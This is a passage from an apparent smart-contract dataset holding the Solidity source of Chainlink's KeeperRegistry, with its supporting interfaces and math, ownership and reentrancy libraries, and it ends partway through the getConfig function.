{"rule": "SOLIDITY_VISIBILITY", "line": 246, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 246, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
KeeperRegistry | 0x4f75953c2661d3a0138fcd80551ea10b80dd08c7 | Solidity | pragma solidity 0.7.6;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathChainlink {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title The Owned contract
* @notice A contract with helpers for basic contract ownership.
*/
contract Owned {
address public owner;
address private pendingOwner;
event OwnershipTransferRequested(
address indexed from,
address indexed to
);
event OwnershipTransferred(
address indexed from,
address indexed to
);
constructor() {
owner = msg.sender;
}
/**
* @dev Allows an owner to begin transferring ownership to a new address,
* pending.
*/
function transferOwnership(address _to)
external
onlyOwner()
{
pendingOwner = _to;
emit OwnershipTransferRequested(owner, _to);
}
/**
* @dev Allows an ownership transfer to be completed by the recipient.
*/
function acceptOwnership()
external
{
require(msg.sender == pendingOwner, "Must be proposed owner");
address oldOwner = owner;
owner = msg.sender;
pendingOwner = address(0);
emit OwnershipTransferred(oldOwner, msg.sender);
}
/**
* @dev Reverts if called by anyone other than the contract owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Only callable by owner");
_;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 96 bit integers.
*/
library SafeMath96 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint96 a, uint96 b) internal pure returns (uint96) {
require(b <= a, "SafeMath: subtraction overflow");
uint96 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint96 a, uint96 b) internal pure returns (uint96) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint96 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint96 a, uint96 b) internal pure returns (uint96) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint96 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint96 a, uint96 b) internal pure returns (uint96) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract KeeperBase {
/**
* @notice method that allows it to be simulated via eth_call by checking that
* the sender is the zero address.
*/
function preventExecution()
internal
view
{
require(tx.origin == address(0), "only for simulated backend");
}
/**
* @notice modifier that allows it to be simulated via eth_call by checking
* that the sender is the zero address.
*/
modifier cannotExecute()
{
preventExecution();
_;
}
}
interface KeeperCompatibleInterface {
/**
* @notice method that is simulated by the keepers to see if any work actually
* needs to be performed. This method does does not actually need to be
* executable, and since it is only ever simulated it can consume lots of gas.
* @dev To ensure that it is never called, you may want to add the
* cannotExecute modifier from KeeperBase to your implementation of this
* method.
* @param checkData specified in the upkeep registration so it is always the
* same for a registered upkeep. This can easilly be broken down into specific
* arguments using `abi.decode`, so multiple upkeeps can be registered on the
* same contract and easily differentiated by the contract.
* @return upkeepNeeded boolean to indicate whether the keeper should call
* performUpkeep or not.
* @return performData bytes that the keeper should call performUpkeep with, if
* upkeep is needed. If you would like to encode data to decode later, try
* `abi.encode`.
*/
function checkUpkeep(
bytes calldata checkData
)
external
returns (
bool upkeepNeeded,
bytes memory performData
);
/**
* @notice method that is actually executed by the keepers, via the registry.
* The data returned by the checkUpkeep simulation will be passed into
* this method to actually be executed.
* @dev The input to this method should not be trusted, and the caller of the
* method should not even be restricted to any single registry. Anyone should
* be able call it, and the input should be validated, there is no guarantee
* that the data passed in is the performData returned from checkUpkeep. This
* could happen due to malicious keepers, racing keepers, or simply a state
* change while the performUpkeep transaction is waiting for confirmation.
* Always validate the data passed in.
* @param performData is the data which was passed back from the checkData
* simulation. If it is encoded, it can easily be decoded into other types by
* calling `abi.decode`. This data should not be trusted, and should be
* validated against the contract's current state.
*/
function performUpkeep(
bytes calldata performData
) external;
}
interface KeeperRegistryBaseInterface {
function registerUpkeep(
address target,
uint32 gasLimit,
address admin,
bytes calldata checkData
) external returns (
uint256 id
);
function performUpkeep(
uint256 id,
bytes calldata performData
) external returns (
bool success
);
function cancelUpkeep(
uint256 id
) external;
function addFunds(
uint256 id,
uint96 amount
) external;
function getUpkeep(uint256 id)
external view returns (
address target,
uint32 executeGas,
bytes memory checkData,
uint96 balance,
address lastKeeper,
address admin,
uint64 maxValidBlocknumber
);
function getUpkeepCount()
external view returns (uint256);
function getCanceledUpkeepList()
external view returns (uint256[] memory);
function getKeeperList()
external view returns (address[] memory);
function getKeeperInfo(address query)
external view returns (
address payee,
bool active,
uint96 balance
);
function getConfig()
external view returns (
uint32 paymentPremiumPPB,
uint24 checkFrequencyBlocks,
uint32 checkGasLimit,
uint24 stalenessSeconds,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
);
}
/**
* @dev The view methods are not actually marked as view in the implementation
* but we want them to be easily queried off-chain. Solidity will not compile
* if we actually inherrit from this interface, so we document it here.
*/
interface KeeperRegistryInterface is KeeperRegistryBaseInterface {
function checkUpkeep(
uint256 upkeepId,
address from
)
external
view
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
int256 gasWei,
int256 linkEth
);
}
interface KeeperRegistryExecutableInterface is KeeperRegistryBaseInterface {
function checkUpkeep(
uint256 upkeepId,
address from
)
external
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
int256 gasWei,
int256 linkEth
);
}
/**
* @notice Registry for adding work for Chainlink Keepers to perform on client
* contracts. Clients must support the Upkeep interface.
*/
contract KeeperRegistry is Owned, KeeperBase, ReentrancyGuard, KeeperRegistryExecutableInterface {
using Address for address;
using SafeMathChainlink for uint256;
using SafeMath96 for uint96;
address constant private ZERO_ADDRESS = address(0);
bytes4 constant private CHECK_SELECTOR = KeeperCompatibleInterface.checkUpkeep.selector;
bytes4 constant private PERFORM_SELECTOR = KeeperCompatibleInterface.performUpkeep.selector;
uint256 constant private CALL_GAS_MAX = 2_500_000;
uint256 constant private CALL_GAS_MIN = 2_300;
uint256 constant private CANCELATION_DELAY = 50;
uint256 constant private CUSHION = 5_000;
uint256 constant private REGISTRY_GAS_OVERHEAD = 80_000;
uint256 constant private PPB_BASE = 1_000_000_000;
uint64 constant private UINT64_MAX = 2**64 - 1;
uint96 constant private LINK_TOTAL_SUPPLY = 1e27;
uint256 private s_upkeepCount;
uint256[] private s_canceledUpkeepList;
address[] private s_keeperList;
mapping(uint256 => Upkeep) private s_upkeep;
mapping(address => KeeperInfo) private s_keeperInfo;
mapping(address => address) private s_proposedPayee;
mapping(uint256 => bytes) private s_checkData;
Config private s_config;
int256 private s_fallbackGasPrice; // not in config object for gas savings
int256 private s_fallbackLinkPrice; // not in config object for gas savings
LinkTokenInterface public immutable LINK;
AggregatorV3Interface public immutable LINK_ETH_FEED;
AggregatorV3Interface public immutable FAST_GAS_FEED;
struct Upkeep {
address target;
uint32 executeGas;
uint96 balance;
address admin;
uint64 maxValidBlocknumber;
address lastKeeper;
}
struct KeeperInfo {
address payee;
uint96 balance;
bool active;
}
struct Config {
uint32 paymentPremiumPPB;
uint24 blockCountPerTurn;
uint32 checkGasLimit;
uint24 stalenessSeconds;
}
struct PerformParams {
address from;
uint256 id;
bytes performData;
}
event UpkeepRegistered(
uint256 indexed id,
uint32 executeGas,
address admin
);
event UpkeepPerformed(
uint256 indexed id,
bool indexed success,
address indexed from,
uint96 payment,
bytes performData
);
event UpkeepCanceled(
uint256 indexed id,
uint64 indexed atBlockHeight
);
event FundsAdded(
uint256 indexed id,
address indexed from,
uint96 amount
);
event FundsWithdrawn(
uint256 indexed id,
uint256 amount,
address to
);
event ConfigSet(
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
);
event KeepersUpdated(
address[] keepers,
address[] payees
);
event PaymentWithdrawn(
address indexed keeper,
uint256 indexed amount,
address indexed to,
address payee
);
event PayeeshipTransferRequested(
address indexed keeper,
address indexed from,
address indexed to
);
event PayeeshipTransferred(
address indexed keeper,
address indexed from,
address indexed to
);
/**
* @param link address of the LINK Token
* @param linkEthFeed address of the LINK/ETH price feed
* @param fastGasFeed address of the Fast Gas price feed
* @param paymentPremiumPPB payment premium rate oracles receive on top of
* being reimbursed for gas, measured in parts per billion
* @param blockCountPerTurn number of blocks each oracle has during their turn to
* perform upkeep before it will be the next keeper's turn to submit
* @param checkGasLimit gas limit when checking for upkeep
* @param stalenessSeconds number of seconds that is allowed for feed data to
* be stale before switching to the fallback pricing
* @param fallbackGasPrice gas price used if the gas price feed is stale
* @param fallbackLinkPrice LINK price used if the LINK price feed is stale
*/
constructor(
address link,
address linkEthFeed,
address fastGasFeed,
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
) {
LINK = LinkTokenInterface(link);
LINK_ETH_FEED = AggregatorV3Interface(linkEthFeed);
FAST_GAS_FEED = AggregatorV3Interface(fastGasFeed);
setConfig(
paymentPremiumPPB,
blockCountPerTurn,
checkGasLimit,
stalenessSeconds,
fallbackGasPrice,
fallbackLinkPrice
);
}
// ACTIONS
/**
* @notice adds a new upkeep
* @param target address to peform upkeep on
* @param gasLimit amount of gas to provide the target contract when
* performing upkeep
* @param admin address to cancel upkeep and withdraw remaining funds
* @param checkData data passed to the contract when checking for upkeep
*/
function registerUpkeep(
address target,
uint32 gasLimit,
address admin,
bytes calldata checkData
)
external
override
onlyOwner()
returns (
uint256 id
)
{
require(target.isContract(), "target is not a contract");
require(gasLimit >= CALL_GAS_MIN, "min gas is 2300");
require(gasLimit <= CALL_GAS_MAX, "max gas is 2500000");
id = s_upkeepCount;
s_upkeep[id] = Upkeep({
target: target,
executeGas: gasLimit,
balance: 0,
admin: admin,
maxValidBlocknumber: UINT64_MAX,
lastKeeper: address(0)
});
s_checkData[id] = checkData;
s_upkeepCount++;
emit UpkeepRegistered(id, gasLimit, admin);
return id;
}
/**
* @notice simulated by keepers via eth_call to see if the upkeep needs to be
* performed. If it does need to be performed then the call simulates the
* transaction performing upkeep to make sure it succeeds. It then eturns the
* success status along with payment information and the perform data payload.
* @param id identifier of the upkeep to check
* @param from the address to simulate performing the upkeep from
*/
function checkUpkeep(
uint256 id,
address from
)
external
override
cannotExecute()
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
int256 gasWei,
int256 linkEth
)
{
Upkeep storage upkeep = s_upkeep[id];
gasLimit = upkeep.executeGas;
(gasWei, linkEth) = getFeedData();
maxLinkPayment = calculatePaymentAmount(gasLimit, gasWei, linkEth);
require(maxLinkPayment < upkeep.balance, "insufficient funds");
bytes memory callData = abi.encodeWithSelector(CHECK_SELECTOR, s_checkData[id]);
(
bool success,
bytes memory result
) = upkeep.target.call{gas: s_config.checkGasLimit}(callData);
require(success, "call to check target failed");
(
success,
performData
) = abi.decode(result, (bool, bytes));
require(success, "upkeep not needed");
success = performUpkeepWithParams(PerformParams({
from: from,
id: id,
performData: performData
}));
require(success, "call to perform upkeep failed");
return (performData, maxLinkPayment, gasLimit, gasWei, linkEth);
}
/**
* @notice executes the upkeep with the perform data returned from
* checkUpkeep, validates the keeper's permissions, and pays the keeper.
* @param id identifier of the upkeep to execute the data with.
* @param performData calldata paramter to be passed to the target upkeep.
*/
function performUpkeep(
uint256 id,
bytes calldata performData
)
external
override
returns (
bool success
)
{
return performUpkeepWithParams(PerformParams({
from: msg.sender,
id: id,
performData: performData
}));
}
/**
* @notice prevent an upkeep from being performed in the future
* @param id upkeep to be canceled
*/
function cancelUpkeep(
uint256 id
)
external
override
{
uint64 maxValid = s_upkeep[id].maxValidBlocknumber;
bool notCanceled = maxValid == UINT64_MAX;
bool isOwner = msg.sender == owner;
require(notCanceled || (isOwner && maxValid > block.number), "too late to cancel upkeep");
require(isOwner|| msg.sender == s_upkeep[id].admin, "only owner or admin");
uint256 height = block.number;
if (!isOwner) {
height = height.add(CANCELATION_DELAY);
}
s_upkeep[id].maxValidBlocknumber = uint64(height);
if (notCanceled) {
s_canceledUpkeepList.push(id);
}
emit UpkeepCanceled(id, uint64(height));
}
/**
* @notice adds LINK funding for an upkeep by tranferring from the sender's
* LINK balance
* @param id upkeep to fund
* @param amount number of LINK to transfer
*/
function addFunds(
uint256 id,
uint96 amount
)
external
override
validUpkeep(id)
{
s_upkeep[id].balance = s_upkeep[id].balance.add(amount);
LINK.transferFrom(msg.sender, address(this), amount);
emit FundsAdded(id, msg.sender, amount);
}
/**
* @notice uses LINK's transferAndCall to LINK and add funding to an upkeep
* @dev safe to cast uint256 to uint96 as total LINK supply is under UINT96MAX
* @param sender the account which transferred the funds
* @param amount number of LINK transfer
*/
function onTokenTransfer(
address sender,
uint256 amount,
bytes calldata data
)
external
{
require(msg.sender == address(LINK), "only callable through LINK");
require(data.length == 32, "data must be 32 bytes");
uint256 id = abi.decode(data, (uint256));
validateUpkeep(id);
s_upkeep[id].balance = s_upkeep[id].balance.add(uint96(amount));
emit FundsAdded(id, sender, uint96(amount));
}
/**
* @notice removes funding from a cancelled upkeep
* @param id upkeep to withdraw funds from
* @param to destination address for sending remaining funds
*/
function withdrawFunds(
uint256 id,
address to
)
external
validateRecipient(to)
{
require(s_upkeep[id].admin == msg.sender, "only callable by admin");
require(s_upkeep[id].maxValidBlocknumber <= block.number, "upkeep must be canceled");
uint256 amount = s_upkeep[id].balance;
s_upkeep[id].balance = 0;
emit FundsWithdrawn(id, amount, to);
LINK.transfer(to, amount);
}
/**
* @notice recovers LINK funds improperly transfered to the registry
* @dev In principle this function’s execution cost could exceed block
* gaslimit. However, in our anticipated deployment, the number of upkeeps and
* keepers will be low enough to avoid this problem.
*/
function recoverFunds()
external
onlyOwner()
{
uint96 locked = 0;
uint256 max = s_upkeepCount;
for (uint256 i = 0; i < max; i++) {
locked = s_upkeep[i].balance.add(locked);
}
max = s_keeperList.length;
for (uint256 i = 0; i < max; i++) {
address addr = s_keeperList[i];
locked = s_keeperInfo[addr].balance.add(locked);
}
uint256 total = LINK.balanceOf(address(this));
LINK.transfer(msg.sender, total.sub(locked));
}
/**
* @notice withdraws a keeper's payment, callable only by the keeper's payee
* @param from keeper address
* @param to address to send the payment to
*/
function withdrawPayment(
address from,
address to
)
external
validateRecipient(to)
{
KeeperInfo memory keeper = s_keeperInfo[from];
require(keeper.payee == msg.sender, "only callable by payee");
s_keeperInfo[from].balance = 0;
emit PaymentWithdrawn(from, keeper.balance, to, msg.sender);
LINK.transfer(to, keeper.balance);
}
/**
* @notice proposes the safe transfer of a keeper's payee to another address
* @param keeper address of the keeper to transfer payee role
* @param proposed address to nominate for next payeeship
*/
function transferPayeeship(
address keeper,
address proposed
)
external
{
require(s_keeperInfo[keeper].payee == msg.sender, "only callable by payee");
require(proposed != msg.sender, "cannot transfer to self");
if (s_proposedPayee[keeper] != proposed) {
s_proposedPayee[keeper] = proposed;
emit PayeeshipTransferRequested(keeper, msg.sender, proposed);
}
}
/**
* @notice accepts the safe transfer of payee role for a keeper
* @param keeper address to accept the payee role for
*/
function acceptPayeeship(
address keeper
)
external
{
require(s_proposedPayee[keeper] == msg.sender, "only callable by proposed payee");
address past = s_keeperInfo[keeper].payee;
s_keeperInfo[keeper].payee = msg.sender;
s_proposedPayee[keeper] = ZERO_ADDRESS;
emit PayeeshipTransferred(keeper, past, msg.sender);
}
// SETTERS
/**
* @notice updates the configuration of the registry
* @param paymentPremiumPPB payment premium rate oracles receive on top of
* being reimbursed for gas, measured in parts per billion
* @param blockCountPerTurn number of blocks an oracle should wait before
* checking for upkeep
* @param checkGasLimit gas limit when checking for upkeep
* @param stalenessSeconds number of seconds that is allowed for feed data to
* be stale before switching to the fallback pricing
* @param fallbackGasPrice gas price used if the gas price feed is stale
* @param fallbackLinkPrice LINK price used if the LINK price feed is stale
*/
function setConfig(
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
)
onlyOwner()
public
{
s_config = Config({
paymentPremiumPPB: paymentPremiumPPB,
blockCountPerTurn: blockCountPerTurn,
checkGasLimit: checkGasLimit,
stalenessSeconds: stalenessSeconds
});
s_fallbackGasPrice = fallbackGasPrice;
s_fallbackLinkPrice = fallbackLinkPrice;
emit ConfigSet(
paymentPremiumPPB,
blockCountPerTurn,
checkGasLimit,
stalenessSeconds,
fallbackGasPrice,
fallbackLinkPrice
);
}
/**
* @notice update the list of keepers allowed to peform upkeep
* @param keepers list of addresses allowed to perform upkeep
* @param payees addreses corresponding to keepers who are allowed to
* move payments which have been acrued
*/
function setKeepers(
address[] calldata keepers,
address[] calldata payees
)
external
onlyOwner()
{
for (uint256 i = 0; i < s_keeperList.length; i++) {
address keeper = s_keeperList[i];
s_keeperInfo[keeper].active = false;
}
for (uint256 i = 0; i < keepers.length; i++) {
address keeper = keepers[i];
KeeperInfo storage s_keeper = s_keeperInfo[keeper];
address oldPayee = s_keeper.payee;
address newPayee = payees[i];
require(oldPayee == ZERO_ADDRESS || oldPayee == newPayee, "cannot change payee");
require(!s_keeper.active, "cannot add keeper twice");
s_keeper.payee = newPayee;
s_keeper.active = true;
}
s_keeperList = keepers;
emit KeepersUpdated(keepers, payees);
}
// GETTERS
/**
* @notice read all of the details about an upkeep
*/
function getUpkeep(
uint256 id
)
external
view
override
returns (
address target,
uint32 executeGas,
bytes memory checkData,
uint96 balance,
address lastKeeper,
address admin,
uint64 maxValidBlocknumber
)
{
Upkeep memory reg = s_upkeep[id];
return (
reg.target,
reg.executeGas,
s_checkData[id],
reg.balance,
reg.lastKeeper,
reg.admin,
reg.maxValidBlocknumber
);
}
/**
* @notice read the total number of upkeep's registered
*/
function getUpkeepCount()
external
view
override
returns (
uint256
)
{
return s_upkeepCount;
}
/**
* @notice read the current list canceled upkeep IDs
*/
function getCanceledUpkeepList()
external
view
override
returns (
uint256[] memory
)
{
return s_canceledUpkeepList;
}
/**
* @notice read the current list of addresses allowed to perform upkeep
*/
function getKeeperList()
external
view
override
returns (
address[] memory
)
{
return s_keeperList;
}
/**
* @notice read the current info about any keeper address
*/
function getKeeperInfo(
address query
)
external
view
override
returns (
address payee,
bool active,
uint96 balance
)
{
KeeperInfo memory keeper = s_keeperInfo[query];
return (keeper.payee, keeper.active, keeper.balance);
}
/**
* @notice read the current configuration of the registry
*/
function getConfig()
external
view
override
returns (
uint32 paymentPremiumPPB,
uint24 blockCountPerTurn,
uint32 checkGasLimit,
uint24 stalenessSeconds,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
)
{
Config memory config = s_config;
return (
config.paymentPremiumPPB,
config.blockCountPerTurn,
config.checkGasLimit,
config.stalenessSeconds,
